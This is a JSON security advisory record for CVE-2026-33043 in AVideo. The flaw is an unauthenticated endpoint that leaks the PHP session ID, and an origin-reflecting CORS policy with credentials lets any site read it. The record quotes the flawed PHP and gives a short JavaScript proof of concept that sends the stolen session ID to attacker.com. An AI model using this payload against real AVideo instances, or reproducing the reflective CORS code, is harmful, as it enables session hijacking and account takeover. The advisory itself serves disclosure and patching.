{"id":"CVE-2026-33043","aliases":["GHSA-qc3p-398r-p59j"],"url":"https://o3.security/vulnerability/CVE-2026-33043","summary":"AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS","details":"### Summary\n\n`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.\n\n### Details\n\n**File:** `objects/phpsessionid.json.php`\n\n```php\nallowOrigin();\n$obj = new stdClass();\n$obj->phpsessid = session_id();\necho _json_encode($obj);\n```\n\nNo authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:\n\n```php\n$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];\nheader(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\nheader(\"Access-Control-Allow-Credentials: true\");\n```\n\nThis means any external website can make a credentialed cross-origin request and read the session ID.\n\n### PoC\n\nAn attacker hosts the following page:\n\n```html\n<script>\nfetch('https://TARGET/objects/phpsessionid.json.php', {\n  credentials: 'include'\n})\n.then(r => r.json())\n.then(d => {\n  // d.phpsessid = victim's session ID\n  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;\n});\n</script>\n```\n\nWhen a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.\n\n### Impact\n\n**Account Takeover** — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.","published":"2026-03-20T05:52:59.412Z","modified":"2026-08-12T03:51:11.564809268Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/9f4f51e5df5e3343400f9d0068705f5482b6f930","label":"WWBN/AVideo@9f4f51e"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33043.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-qc3p-398r-p59j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33043"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/9f4f51e5df5e3343400f9d0068705f5482b6f930"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:11.564809268Z"}}